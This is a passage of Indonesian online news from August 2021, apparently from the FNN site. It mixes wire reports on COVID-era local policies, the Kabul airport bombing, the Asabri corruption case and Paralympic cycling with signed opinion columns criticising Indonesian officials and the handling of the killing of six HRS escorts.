juga keterangan saksi-saksi yang akan menjadi alat bukti yang dapat membuat terang perkara tindak pidana tersebut. Adapun perkembangan perkara Yahya Waloni saat ini masih menjalani pemeriksaan di Direktorat Siber Bareskrim Polri, penyidik masih punya batas waktu 1x24 jam untuk menahannya di Rumah Tahanan Negara (Rutan) Bareskrim Polri. "Inikan masih proses, ditangkap jam 17.00 artinya Polri masih memiliki waktu 1x24 jam sampai pukul 17.00 nanti perkembangannya kami sampaikan lagi," kata Rusdi. Dalam kasus ini, Yahya dilaporkan bersama pemilik akun YouTube Tri Datu. Dalam video ceramah itu, Yahya Waloni menyampaikan bahwa Bible (Injil) tak hanya fiktif, tapi juga palsu. (mth)

Pemkab Banyumas Segera Uji Coba Pembukaan Objek Wisata

Purwokerto, FNN - Pemerintah Kabupaten Banyumas, Jawa Tengah, akan segera melakukan uji coba pembukaan objek wisata meskipun wilayah itu masih menerapkan pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4. "Sabtu (28/8), Lokawisata Baturraden diuji coba buka. Hanya satu (objek wisata)," kata Bupati Banyumas Achmad Husein di Purwokerto, Kabupaten Banyumas, Jumat. Ia mengatakan pihaknya sudah meminta izin dari Gubernur Jawa Tengah terkait rencana uji coba pembukaan Lokawisata Baturraden yang dilakukan dengan pengawasan khusus dan menerapkan protokol kesehatan secara ketat. Kendati demikian, dia mengakui dalam uji coba tersebut, pihaknya akan membatasi jumlah pengunjung Lokawisata Baturraden. "Jumlah pengunjung dibatasi 20 persen dari kapasitas maksimal," katanya. Bupati mengatakan pemesanan tiket bagi wisatawan yang akan berkunjung ke Lokawisata Baturraden dilakukan melalui aplikasi Mas Basid (Banyumas Bebas COVID-19) untuk sektor pariwisata. Selain itu, kata dia, uji coba pembukaan Lokawisata Baturraden hanya untuk wisatawan lokal dan setiap pengunjung wajib menunjukkan sertifikat atau kartu vaksinasi minimal penyuntikan dosis pertama. Menurut dia, kewajiban menunjukkan sertifikat atau kartu vaksin saat sekarang juga diberlakukan bagi pengunjung mal di Banyumas. "Ada perubahan, pengunjung mal sekarang juga harus sudah divaksin," katanya menegaskan. Sementara itu, Kepala Dinas Pemuda Olahraga Kebudayaan dan Pariwisata (Dinporabudpar) Kabupaten Banyumas Asis Kusumandani mengatakan Pemkab Banyumas sebenarnya telah memiliki standar operasional prosedur (SOP) terkait dengan pembukaan objek wisata pada masa pandemi. "SOP itu tidak hanya mengatur masalah wisatawan, juga mengatur pekerja dan pengelolanya. Sarana dan prasarana yang harus disiapkan juga sudah diatur dalam Surat Edaran Bupati Banyumas," katanya. Dia mengakui pembatasan jumlah pengunjung dalam uji coba pembukaan Lokawisata Baturraden tersebut diturunkan dari ketentuan yang diberlakukan sebelum pelaksanaan PPKM level 4 yang sebesar 30 persen dari kapasitas maksimal. Menurut dia, hal itu disebabkan jumlah pengunjung objek wisata di daerah-daerah yang menerapkan PPKM level 2 dibatasi 25 persen dari kapasitas maksimal. "Tentunya pembatasan pengunjung objek wisata di Banyumas yang masih menerapkan PPKM level 4 harus lebih rendah dari daerah lain yang melaksanakan PPKM level 2," katanya. (mth)

Mereka Memikirkan Rakyat?

By Asyari Usman JOKOWI memikirkan rakyat? Megawati risau dengan nasib rakyat kecil? Puan susah melihat orang susah? Bambang Soesatyo murung melihat penderitaan rakyat? Surya Paloh tertegun mendengar orang makin susah cari makan? Ataukah Luhut, Airlangga, Mahfud MD berlinang mendengar ketidakadilan dan kesewenangan di mana-mana? Zulkifli Hasan menangis melihat orang-orang yang tidur di dalam karton? Muhaimin Iskandar terhenyak melihat semakin banyak orang yang hanya makan sekali sehari? Dan semua mereka ini cemas memikirkan masa depan bangsa yang kini memikul utang besar? Cemas melihat isi perut Indonesia dikuras habis oleh perusahaan-perusahaan raksasa yang “sangat akrab”dengan mereka? Anda sebaiknya basuh muka dulu. Sarapan dulu. Duduk tenang sebentar dengan kopi secangkir! Sempatkan membaca artikel, tulisan, laporan LSM tambang, LAM lingkungan, LSM kemanusiaan, LSM ekonomi-bisnis, dll. Renungkan kondisi Indonesia saat ini. Amati kelakuan dan mulut para pejabat negara ini, baik yang sudah disebutkan di atas maupun yang namanya tidak tertulis di sini. Simpulkan sendiri pikiran dan tindakan mereka. Untuk siapa mereka berkuasa? Apa yang telah mereka lakukan untuk rakyat?[] (Penulis wartawan senior)

Hakim Harus Baca Buku Putih

By Rizal Fadillah TELAH siap Kejaksaan untuk mengajukan dua Tersangka, yang sedunia merasa aneh, hingga kini masih dirahasiakan namanya. Publik hanya menduga bahwa kedua Tersangka adalah Fikri Ramdhani dan Yusmin. Dengan alasan masih aktif dan dijamin tidak akan melarikan diri maka keduanya tidak ditahan. Delik tuduhannya adalah pembunuhan (Pasal 338 KUHP) dan penganiayaan yang menyebabkan kematian (Pasal 351 ayat 3 KUHP) yang dilakukan secara bersama-sama ( Pasal 55 KUHP). Mengingat terdakwa adalah Polisi aktif yang sama-sama penegak hukum dengan Jaksa Penuntut Umum, maka dirasakan tidak mudah untuk memeriksa secara obyektif meski di ruang Pengadilan. Publik mengkhawatirkan baik Jaksa maupun Pengacara nantinya akan berada pada pos yang sama. JPU sulit untuk "all out" mengorek keterangan melainkan berpedoman pada skenario yang telah disepakati bersama antara Kejaksaan dan Kepolisian. Majelis Hakim menjadi harapan dan penentu. Akan tetapi mengingat hal ini merupakan kasus politik bukan hukum 'an sich' maka tidak mustahil kekuasaan akan melakukan intervensi. Karenanya Majelis Hakim yang memeriksa dan mengadili kasus pembunuhan "crime against humanity" ini harus kuat dan mandiri. Menegakkan keadilan berdasarkan Ketuhanan Yang Maha Esa, bukan Keuangan Yang Maha Kuasa atau tekanan politik penguasa. Publik menyangsikan bahwa Fikri dan Yusmin adalah pelaku utama atau hanya mereka berdua yang melakukan. Ada pihak yang sesungguhnya lebih bertanggungjawab atas pembunuhan ini. Pengadilan diharapkan bukan selesai dengan menghukum keduanya, tetapi dari keduanya membongkar pelaku dan aktor intelektual kejahatan kemanusiaan tersebut. Bongkar siapa komandan yang berada di mobil Land Cruiser hitam, bagaimana voice note antara petugas lapangan dengan atasan, siapa saja penumpang yang bukan aparat Kepolisian di mobil Avanza silver B 1278 KJD dan Avanza hitam B 1739 PWQ yang diduga membunuh dua orang anggota Laskar. Lalu "di mana" dan "siapa saja" yang menyiksa dan akhirnya membunuh keenam anggota laskar tersebut? Atas perintah siapa semua kejahatan itu dilakukan? Majelis Hakim diharapkan seksama dalam menguak kasus. Menjadi awal dari pembuktian benar atau tidak dugaan atau kecurigaan publik. Hakim harus jujur dan benar-benar bekerja dengan keyakinan hati nurani. Tidak mudah terbeli. Ini adalah kasus berat yang dapat memuliakan atau menghinakan. Para Hakim di samping membaca Kitab Hukum juga membaca Kitab Suci Agama-nya. Lalu baca juga hasil temuan dan analisa Tim Pengawal Peristiwa Pembunuhan (TP3) yang dituangkan dalam Buku Putih "Pelanggaran HAM Berat" Pembunuhan Pengawal HRS. Bacaan ini sangat penting karena ada fakta hukum yang berguna bagi telaahan Majelis Hakim. Buku Putih di atas mencoba membeberkan peristiwa sebenarnya dari kasus besar pelanggaran HAM berat yang justru dikecilkan dan dibuat seperti drama novel picisan. Nyawa manusia yang disampahkan. Mereka ingin menutupi kebiadaban dengan cara cara biadab. Majelis Hakim diharapkan menjadi manusia yang berjubah kemuliaan. Menjunjung tinggi harkat dan derajat kemanusiaan. Bukan menjadi bagian dari kebiadaban. Pelaku dan penyuruh pembunuhan enam laskar pengawal HRS harus menerima hukuman yang berat. Semua yang terlibat baik petugas lapangan, atasan, maupun pengambil keputusan politik harus merasakan derita penjara. Buku Putih menjadi bacaan wajib Majelis Hakim. Harapannya para Hakim itu memiliki hati dan pikiran yang putih. Agar nanti di hari pengadilan akherat dapat berwajah putih karena telah berlaku adil. Bukan berwajah hitam yang akan diseret-seret dengan hina dan mengerikan. Siksa yang dikhususkan bagi orang-orang yang telah berlaku zalim, apakah itu Penguasa ataupun Hakim. *) Pemerhati Politik dan Kebangsaan

Mural Wiji Thukul

Oleh Ady Amar Wiji Thukul hilang entah ke mana. Atau lebih tepat, Wiji Thukul dihilangkan entah oleh siapa. Rezim jahat saat itu mengambilnya, dan ia tak pernah kembali menemui istri dan buah hatinya di gubuk kecilnya di Solo. Politik kekerasan, itu demokrasi yang tersumpal. Menyumpal demokrasi bahkan yang ada di pikiran. Maka, kritik umpatan sajaknya pada rezim, itu bisa jadi yang menyebabkan ia tak mampu lagi bersajak ria. Ia seolah ditelan bumi, atau hancur remuk raga jadi serbuk halus tertiup angin. Tidak ada yang tahu dengan cara apa Wiji Thukul disudahi hidupnya, dan oleh siapa. Misteri itu tidak terungkap, meski rezim berganti. Tapi nasib hilangnya Wiji Thukul itu tidak terkuak sedikitpun. Bahkan tidak ada yang mencoba ingin menguak mengungkapnya. Saat kanak-kanak, saat itu ia duduk di SMP, ia kaget ternyata sajak bisa buat ciut penguasa. Saat itu ia mulai menulis sajak pendek. Sajak nakal kelewatan. Sajak itu ia beri judul "Kemerdekaan", dibacakannya saat Hari Kemerdekaan RI. Itu di tahun 1982. Begini bunyinya: Kemerdekaan adalah nasi. Dimakan jadi tai Keesokan harinya panitia Hari Kemerdekaaan RI di kampungnya, dan sekalian Wiji Thukul dipanggil dan diinterogasi Babinsa di Kelurahan. Sajak Wiji Thukul memang sajak pemberontakan. Ia tampak menjadi orang kiri, yang dipaksa oleh keadaan. Menjadi kiri buat orang semacam Wiji Thukul seperti jadi keharusan. Kemiskinan yang tanpa pendampingan Tuhan, bisa menjadi kiri sebenarnya. Ia anak seorang penarik becak. Cuma bisa Sekolah Menengah Atas Karawitan dan Tari, tidak tamat karena biaya. Ia mengalah pada adik-adiknya. Dan lalu ia jadi calo tiket bioskop. Kondisi itu, bisa jadi, menyebabkan pilihan sajaknya penuh pergolakan, dan itu menyakitkan rezim yang tengah menikmati hidup serba nikmat. Sajak-sajaknya dianggap membahayakan keberlangsungan kenikmatan atas nama pembangunan, atau apapun namanya. Saat ini, kutipan sajak "pemberontakan" Wiji Thukul muncul sebagai mural pada dinding-dinding di kota Solo juga Yogyakarta. Kutipan sajak yang dipilih tentu yang tidak tajam bak sembilu, agar tidak dihapus Satpol PP atas nama keindahan kota. Wiji Thukul seolah dihidupkan kembali sebagai simbol perlawanan atas kesewenang-wenangan. Rezim boleh berganti, tapi tabiat rezim yang bisa jadi sama tiraninya, memunculkan perlawanan. Maka, sajak-sajak Wiji Thukul -- bahkan juga kutipan sajak WS Rendra dan Chairil Anwar pun hadir sebagai mural-- amat relevan, seolah menjadi kawan kesuntukan melawan kekuasaan jahil dan lalim. Apa yang Perlu Ditakutkan Wiji Thukul hanyalah orang kecil, menjadi aktivis pilihannya. Di sela-sela aktivitasnya, ia menulis sajak, meski bukan terbilang penulis sajak papan atas, tapi pada sajak karyanya nuansa getir, kesulitan hidup, marah, perlawanan... dan seterusnya, itu punya nilai tersendiri. Masuk kategori sajak pamflet, mungkin itu tepat jika melihat sajak-sajak karyanya. Sekeras apapun sajak dibuat, tidak pernah dalam sejarah mampu menumbangkan rezim berkuasa. Namun sajak mampu sebagai monster menakutkan bagi rezim tiran. Itu ibarat bangunan kokoh yang mustahil bisa dirobohkan, tapi mampu membuat penghuninya ketakutan. Hari-hari ini nukilan sajak-sajak Wiji Thukul, WS Rendra, dan bahkan Chairil Anwar menghiasi tembok-tembok dihadirkan sebagai seni mural. Sajak-sajak yang melintasi periode waktu panjang, itu dimunculkan seolah mengiringi suasana zaman yang tidak jauh berbeda dengan saat sajak itu dicipta. Sajak-sajak itu mengajarkan, seolah tidak ada yang berubah dari pergantian rezim. Sepertinya bangsa ini tidak beranjak lebih baik, tetap terpuruk dan terpuruk... Rezim boleh berganti, tapi tabiat (menuju) tiran terus ditampakkan.... Maka kehadiran sajak-sajak di tembok-tembok mana saja, itu tiada henti terus seolah berteriak mengingatkan bangsa yang bergerak menjauhi bandul sejahtera. Maka, sajak-sajak itu akan terus hadir, meski harus menanggung diserupakan musuh yang mesti dibabat habis. Maka menghapus mural dalam bentuk cuplikan sajak-sajak itu jadi pilihan. Namun menghapus pesan pada mural yang bertumbuh di mana-mana, itu mustahil bisa dihentikan. Satu dihapus, maka sepuluh akan bertumbuh. Dan tentu kualitas pesan yang disampaikan akan makin kuat dan menohok. Mural-mural itu mustahil bisa merobohkan tembok yang dihiasi dengan sajak-sajak dan gambar kritik sosial. Lalu apa yang mesti ditakutkan? Biarkan saja kehadirannya, jangan diganggu. Karena dengan itulah ia dapat mengekspresikan kesuntukan hidup. Wiji Thukul sudah pergi entah ke mana, bisa jadi ia dihilangkan untuk tak kembali... Begitu pula WS Rendra, dan apalagi Chairil Anwar... mereka semua sudah pergi dengan alasannya masing-masing. Namun legacy yang ditinggalkan, sajak-sajak kritik sosialnya tetap abadi dinikmati. Tanggal 27 Juli 1998, Wiji Thukul dinyatakan hilang, bersama 12 orang lainnya. Hilang dan dihilangkan tentu punya makna beda. Tapi dalam konteks Wiji Thukul, mungkin lebih netral dikatakan, pergi entah ke mana tak kembali. Dan 23 tahun kemudian, Wiji Thukul muncul kembali, tidak sosoknya. Tapi kutipan sajaknya di tembok-tembok, menjadi mural lambang perlawanan. Meski yang muncul baru kutipan sajak terbilang sejuk, belum sampai yang mengguncang... (*) *) Kolumnis

Amendemen Konstitusi bukan Agenda Mendesak

Semarang, FNN - Isu amendemen UUD 1945 sangat rentan dipolitisasi dan diboncengi isu-isu ikutan. Misalnya, masa jabatan presiden tiga periode, penundaan Pemilu 2024, maupun pemilihan presiden oleh MPR RI. "Amandemen konstitusi bukan merupakan agenda mendesak. Bahkan, amandemen tersebut bisa kontraproduktif dengan upaya menanganan Cornavirus Disease 2019 (Covid-19)," kata anggota Dewan Pembina Perkumpulan untuk Pemilu dan Demokrasi (Perludem), Titi Anggraini, Jumat pagi, 27 Agustus 2021. Kepada Antara. Titi memandang penting penyelenggara negara fokus pada penanganan pandemi bekerja secara optimal mengatasi virus corona. Hal itu lebih penting, dan diharapkan dapat segera membawa Indonesia keluar dari situasi krisis akibat Covid-19. "Intrik politik hanya akan membuat kacau," ucap Titi. Ia menilai, isu masa jabatan presiden tiga periode, penundaan pemilu, dan pemilihan presiden oleh MPR RI bisa memancing kekisruhan berujung protes dan perlawanan publik karena tidak sesuai dengan konstitusi. Semua pihak menjaga iklim kondusif dan situasi politik yang stabil agar penanganan pandemi corona lebih optimal. Oleh karena itu, dia berpesan kepada elite politik di Tanah Air supaya tidak melempar isu yang tidak krusial, apalagi sampai bisa memicu kontroversi di tengah masyarakat. "Kalau masyarakat sampai turun ke jalan, semua upaya penanggulangan pandemi Covid-19 akan menjadi sia-sia," ujarnya. (MD).

Serangan di Bandara Kabul Tewaskan 60 Orang Termasuk 12 Tentara Amerika

KABUL, FNN – Situasi di Afghanistan semakin panas. Pada Kamis (26/8/2021) terjadi dua seragan bom bunuh diri yang disertai tembakan di tengah kerumunan manusia di Bandara Kabul. Dilaporkan, sedikitnya sedikitnya 60 warga Afghanistan dan 12 tentara Amerika Serikat (AS) tewas dalam serangan itu. Laporan media internasional menyebutkan, selain menelan korban tewas, peristiwa tersebut juga melukai 12 personel militer AS dan 140 orang warga Afghanistan. Diperkirakan angka tersebut masih bisa bertambah, mengingat pendataan masih dilakukan oleh petugas keamanan dan tenaga medis atau pihak rumah sakit tempat para korban dirawat. Associated Press (AP) Jumat, 27 Agustus 2021 melaporkan, 11 marinir dan seorang tenaga medis marinir AS termasuk dalam korban tewas. ISIS dikabarkan bertanggungjawab atas peristiwa tragis tersebut. (MD/dari berbagai sumber).

Sebanyak 11 SMK di Kalsel Jadi Sekolah Pusat Unggulan

Banjarmasin, FNN - Kementerian Pendidikan dan Kebudayaan (Kemendikbud) menunjuk 11 Sekolah Menengah Kejuruan (SMK) di Kalimantan Selatan menjadi Sekolah Pusat Unggulan. Kepala Bidang Pembinaan SMK Dinas Pendidikan dan Kebudayaan Dinas Pendidikan Kalsel Syamsuri Hormansyah di Banjaramsin, Kamis mengatakan, penunjukan 11 SMK Pusat Unggulan tersebut, untuk meningkatkan kualitas dan kompetensi siswa agar tercipta lulusan yang siap masuk kedalam dunia kerja. Menurut dia, penunjukan tersebut setelah melalui tahapan seleksi yang cukup ketat dengan berbagai kriteria dan syarat yang ditetapkan oleh Dirjen Pendidikan Vokasi Kemendikbud RI. Melalui program pengembangan ini, kata dia, diharapkan dapat meningkatkan kompetensi kualitas siswa dalam hal kinerja dan keahlian tertentu, dengan memperkuat kerja sama kemitraan bersama dunia usaha atau industri. Program tersebut, selain fokus menanamkan kompetensi sesuai dengan kebutuhan dunia usaha, juga sebagai upaya menanamkan karakter siswa sesuai dengan Pancasila. "Sebagai sekolah pusat unggulan sekaligus sebagai pusat penggerak, diharapkan program ini dapat meningkatkan kompetensi yang sesuai dengan kebutuhan kerja di masa yang akan datang," katanya. Selain itu, melalui pembentukan karakter yang sesuai dengan Pancasila, para siswa bisa mengikuti perkembangan pendidikan dan dunia kerja yang sesuai, melalui berbagai kurikulum yang telah ditetapkan. Salah satu sekolah yang menerapkan porgram SMK Pusat Unggulan ini adalah, SMK Negeri 3 Banjarmasin. Kepala SMKN 3 Banjarmasin Mohammad Ali Muksin mengatakan, menindaklanjuti program tersebut, saat ini sekolah melakukan sosialisasi kepada dunia usaha dan industri seperti halnya kepada Perhimpunan Hotel dan Restauran Indonesia (PHRI). SMK yang telah menjalankan program ini, ke depan akan berfungsi sebagai sekolah penggerak dan pusat peningkatan kualitas kinerja SMK lainnya di Kalsel. Adapun 11 SMK yang terpilih menjadi SMK Pusat Unggulan tersebut adalah SMKN I sampai V di Kota Banjarmasin, SMK Muhammadiyah Tiga Banjarmasin, SMKN Satu dan Dua Simpang Empat Kabupaten Tanah Bumnu. Selain itu, SMKN Dua Marabahan Kabupaten Barito Kuala, SMKN Satu Batu Mandi Kabupaten Balangan, dan SMKN Satu Banjarbaru. (mth)

M Fadli Berpeluang Sumbang Medali dalam Nomor 4000m Individual Pursuit

Jakarta, FNN - Atlet para-balap sepeda Indonesia Muhammad Fadli Imammuddin berpeluang menyumbangkan medali dari nomor C4 4000m individual pursuit Paralimpiade Tokyo 2020 setelah gagal pada nomor C4-C5 1000m time trial di Izu Velodrome, Kamis. Menurut pelatih para-balap sepeda, Fadillah Umar, Fadli masih memiliki peluang untuk berprestasi pada nomor C4 4000m individual pursuit karena salah satu pesaing beratnya, yakni Jody Cundy asal Inggris Raya tidak akan berlomba pada nomor tersebut. “Dari awal persiapan Fadli memang untuk tampil di nomor 4000 meter karena ia memiliki endurance bagus. Dengan absennya Cundy maka membuka persaingan antar pebalap,” kata Fadil dalam siaran pers NPC Indonesia yang diterima di Jakarta, Kamis. Dengan absennya Cundy maka pesaing terberat lainnya Fadli pada perlombaan nanti adalah pebalap Slovakia Jozef Metelka, pebalap nomor satu dunia yang memiliki spesialisasi pada nomor 4000m. Dia juga bahkan merebut medali perunggu pada nomor C4-C5 time trial 1000m di Tokyo. Selain Metelka, rival berat lainnya adalah pebalap nomor dua dunia asal Rumania Carol-Eduard Novak. Meski demikian, Fadli dinilai tetap berpeluang mencatatkan waktu terbaik berdasarkan hasil pada kejuaraan yang ia ikuti sebelumnya. Pada nomor C4 4000m individual pursuit, Fadli memiliki catatan waktu terbaik saat berlaga di UCI Para-cycling Track World Championships di Milton, Kanada pada Februari 2020 ketika dia finis di urutan ketujuh. Sebelumnya, pebalap berusia 37 tahun itu juga meraih medali emas di Asian Para Games 2018 pada disiplin tersebut. Menurut Fadillah, Fadli saat ini berada dalam kondisi prima dan diharapkan ia bisa menunjukkan penampilan terbaik di Izu Velodrome, Jumat (27/8) untuk mengharumkan nama Indonesia. Fadli belum mampu menyumbangkan medali bagi Indonesia setelah finis di urutan ke-17 nomor C4-C5 1000m time trial di Tokyo dengan mencatatkan waktu 1 menit 10,423 detik. Ia terpaut 8,886 detik dari peraih medali emas asal Spanyol Alfonso Cabello Llamas dengan waktu 1 menit 01,557 detik. Sementara itu, posisi kedua dihuni pebalap Inggris Raya Jody Cundy dengan catatan waktu 1 menit 01,847 detik. Pebalap Slovakia Jozef Metelka meraih perunggu dengan 1 menit 04,786 detik. Meski demikian, torehan waktu Fadli di Paralimpiade hari itu merupakan rekor terbaik sepanjang kariernya sebagai atlet para-balap sepeda. (mth)

Keampuhan Vaksin COVID-19 AS Turun Setelah Varian Delta Dominan

Washington, FNN - Keampuhan vaksin COVID-19 Amerika Serikat menurun dari 91 persen menjadi 66 persen di tengah dominasi varian Delta yang sangat menular, menurut studi Pusat Pencegahan dan Pengendalian Penyakit (CDC). "Walaupun kami melihat perlindungan vaksin COVID-19 terhadap varian Delta menurun, itu masih penurunan dua pertiga dari risiko," kata Ashley Fowlkes, penulis utama studi itu yang diterbitkan pada Selasa, kepada CNN. Vaksin masih "sangat kuat", terlebih ketika muncul hasil yang lebih parah, kata Fowlkes, ahli epidemiologi di Tanggap Darurat COVID-19 CDC, kepada stasiun TV yang berbasis di Atlanta tersebut. "Namun kami juga masih ingin meneruskan pemakaian masker sedikit lebih lama," katanya. Namun studi saat ini tidak mencakup tingkat keparahan penyakit. Sebaliknya, studi tersebut menjadi bab terbaru dalam penelitian yang sedang berlangsung yang memantau "petugas perawatan kesehatan, perespons pertama, dan petugas garda terdepan dan esensial lainnya" yang setiap pekan menerima tes PCR di delapan lokasi di enam negara bagian AS. (mth)

Bapenda Denpasar Berikan Relaksasi Penundaan Pembayaran PBB-P2

Denpasar, FNN - Badan Pendapatan Daerah Pemkot Denpasar, Bali kembali memberikan relaksasi pungutan pajak daerah untuk para pelaku usaha dan masyarakat umum, sebagai bentuk keprihatinan serta kepedulian pemerintah atas dampak penurunan perekonomian akibat pandemi COVID-19. "Relaksasi peungutan pajak tersebut sebagai bentuk keprihatinan serta kepedulian pemerintah atas dampak penurunan perekonomian Kota Denpasar akibat pandemi COVID-19 yang berkepanjangan," kata Kepala Badan Pendapatan Daerah (Bapenda) Kota Denpasar, Dewa Nyoman Semadi di Denpasar, Kamis. Ia mengatakan pandemi COVID-19 saat ini dampaknya sangat dirasakan oleh pelaku usaha dan masyarakat sebagai wajib pajak. Selain itu, penerapan PPKM hingga kini menyebabkan omzet pelaku usaha menurun. Karena itu, kata Dewa Semadi, Pemerintah Kota Denpasar melalui Badan Pendapatan Daerah kembali memberikan relaksasi pungutan pajak daerah untuk para pelaku usaha dan masyarakat umum. “Relaksasi pajak daerah yang diberikan dalam bentuk penundaan jatuh tempo pembayaran Pajak Bumi dan Bangunan Perdesaan dan Perkotaan (PBB-P2)," ujar Dewa Semadi. Ia menjelaskan, kebijakan penundaan pembayaran pajak ini tertuang dalam Surat Edaran Wali Kota Denpasar Nomor : 973/10585/BPDKD. Kebijakan ini diterbitkan sebagai stimulus berupa perpanjangan penetapan jatuh tempo pembayaran. Sehingga diharapkan mampu memberikan keringanan kepada wajib pajak melakukan pembayaran PBB-P2 sesuai jangka waktu yang sudah ditentukan tanpa mengajukan permohonan. "Untuk Pajak Bumi dan Bangunan Perdesaan dan Perkotaan (PBB-P2) jatuh tempo pembayaran pajaknya sebelumnya per 31 Agustus 2021 menjadi 24 Desember 2021," ucapnya. Dewa Semadi berharap masyarakat dapat memanfaatkan perpanjangan jatuh tempo ini dengan baik. Dengan demikian pelaku usaha dan masyarakat memiliki jangka waktu yang lebih panjang dalam memenuhi kewajibannya. “Kontribusi pajak daerah selama ini menjadi tulang punggung penerimaan Kota Denpasar. Pandemi COVID-19 sudah pasti akan mempengaruhi realisasi penerimaan pajak daerah pada tahun ini. Kami berharap wabah COVID-19 cepat berlalu, sehingga kita bisa melaksanakan aktivitas seperti biasa kembali," ujarnya Untuk diketahui, sejumlah kebijakan relaksasi sebelumnya sudah dikeluarkan untuk mengurangi dampak yang dirasakan oleh wajib pajak. Hal ini diharapkan dapat membantu meringankan pelaku usaha dan masyarakat dalam membayar pajak. (mth)

Saudara Kandung Benny Tjokrosapoetro Jadi Tersangka Baru PT Asabri

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung RI menetapkan satu tersangka baru dalam perkara dugaan tindak pidana korupsi pengelolaan keuangan dan dana investasi PT Asabri (Persero) bernama Teddy Tjokrosapoetro atau inisial TT. Tersangka baru tersebut tidak lain adalah saudara kandung Benny Tjokrosapoetro yang divonis seumur hidup dalam kasus PT Asuransi Jiwasraya. "Penyidik Jampidsus kembali menetapkan satu orang tersangka dengan inisial TT," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung, Leonard Eben Ezer Simanjuntak di Gedung Bundar Kejaksaan Agung, Jakarta Selatan, Kamis, (26/8). Leonard menjelaskan, tersangka merupakan Presiden Direktur PT Rimo Internasional Lestari Tbk. Ia diduga turut serta melakukan perbuatan bersama-sama dengan terdakwa Benny Tjokrosapoetro dalam perkara tindak pidana korupsi dan tindak pidana pencucian uang dengan tindak pidana asal dugaan tindak pidana korupsi pengelolaan keuangan dan dana investasi oleh PT Asabri (Persero) pada beberapa perusahaan periode 2012-2019. TT ditetapkan tersangka berdasarkan Surat Perintah Penyidikan Direktur Penyidikan Jampidsus No. Print-26/F.2/Fd.2/08/2021 tanggal 26 Agustus 2021. Kemudian dikeluarkan Surat Perintah Penyidikan Direktur Penyidikan Jampidsus sebagai tersangka tindak pidana pencucian uang dengan Nomor Surat Perintah Print-14/F.2/Fd.2/08/2021, tanggal 26 Agutus 2021. "Untuk tersangka TT saat ini diduga melanggar sesuai tersangka Asabri yang lain," kata Leonard, sebagaimana dikutip dari Antara. TT disangkakan dengan pasal primer Pasal 2 ayat (1) jo. Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. Subsider Pasal 3 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP. TT juga dijerat dengan pasal tindak pidana pencucian uang, yakni pertama Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang jo. Pasal 55 ayat (1) ke-1 KUHP serta yang kedua Pasal 4 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang jo. Pasal 55 ayat (1) ke-1 KUHP. Setelah ditetapkan tersangka, TT dilakukan penahanan di Rumah Tahanan Negara (Rutan) Salemba Cabang Kejaksaan Agung. Penahanan dilakukan untuk kepentingan pemeriksaan selama 20 hari ke depan berdasarkan Surat Perintah Penahanan Nomor: Print-17/F.2/Fd.2/08/2021, tanggal 26 Agustus 2021. "Sebelum tersangka dilakukan penahanan di rutan telah diberikan hak-haknya dan dilakukan pemeriksaan tim medis, pemeriksaan swab antigen, hasil TT sehat negatif dari Covid-19," kata Leonard. Leonard membenarkan, jika Teddy Tjokrosapoetro merupakan saudara kandung Benny Tjokcrosaputro, terdakwa kasus korupsi Asabri dan Jiwasraya. Sebelumnya, delapan terdakwa megakorupsi PT Asabri yang merugikan negara sebesar Rp 22,78 triliun telah menjalani sidang di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta. Kedelapan terdakwa, yakni Dirut PT Asabri periode 2011 sampai Maret 2016 Mayjen Purn. Adam Rachmat Damiri, Dirut PT Asabri periode Maret 2016 Juli 2020 Letjen Purn. Sonny Widjaja, Direktur Keuangan PT Asabri periode Oktober 2008 Juni 2014 Bachtiar Effendi, serta Direktur PT Asabri periode 2013-2014 dan 2015-2019 Hari Setiono. Berikutnya, Dirut PT Prima Jaringan Lukman Purnomosidi, dan Direktur PT Jakarta Emiten Investor Relation Jimmy Sutopo, Dirut PT Hanson International Tbk. Benny Tjokrosapoetro, dan Komisaris PT Trada Alam Minera Heru Hidayat. Baik Benny maupun Heru merupakan tersangka dalam kasus korupsi di PT Asuransi Jiwasraya. Keduanya sudah divonis seumur hidup dalam kasus Asuransi Jiwasraya yang berkekuatan hukum berdasarakan keputusan Mahkamah Agung (MA). Sementara itu, salah satu tersangka PT Asabri, yakni Ilham Wardhana Siregar meninggal dunia Sabtu (31/7) pukul 17.32 WIB karena sakit. Oleh karena itu, penuntutan terhadap dirinya dihentikan. Kini tersisa delapan tersangka individu dalam perkara tersebut. Selain tersangka perorangan, penyidik Kejaksaan Agung juga menetapkan 10 manajer investasi sebagai tersangka korporasi dalam perkara Asabri. Kesepuluh tersangka manajer investasi tersebut, yakni PT IIM, PT MCM, PT PAAM, PT RAM, PT VAM. Kemudian, PT ARK, PT. OMI, PT MAM, PT AAM, dan PT CC. (MD).

Rusia Akan Kaji Tindakan Taliban Sebelum Putuskan Pengakuan

Moskow, FNN - Rusia belum menentukan posisinya terhadap Taliban dan akan melihat bagaimana mereka bertindak terhadap warga Afghanistan dan diplomat Rusia, kata juru bicara Presiden Vladimir Putin. "Kami berpikir bahwa dominasi Taliban, kebangkitan de facto Taliban di Afghanistan dan mereka mengambil alih sebagian besar negara di bawah kendali mereka adalah proses yang telah dicapai secara de facto," kata Dmitry Peskov dalam sebuah pengarahan, pada Kamis. Dia mengatakan Moskow sekarang ingin melihat bagaimana tindakan itu akan diterjemahkan ke dalam situasi keamanan bagi rakyat Afghanistan dan diplomat Rusia di negara itu. Moskow tertarik pada perdamaian dan stabilitas di Afghanistan dan kemungkinan akan melanjutkan kontak dengan Washington mengenai masalah yang muncul di sana, ujar Peskov. "Situasinya tentu membutuhkan pertukaran pendapat, pertukaran informasi, jadi, tentu saja, sangat mungkin kontak seperti itu akan 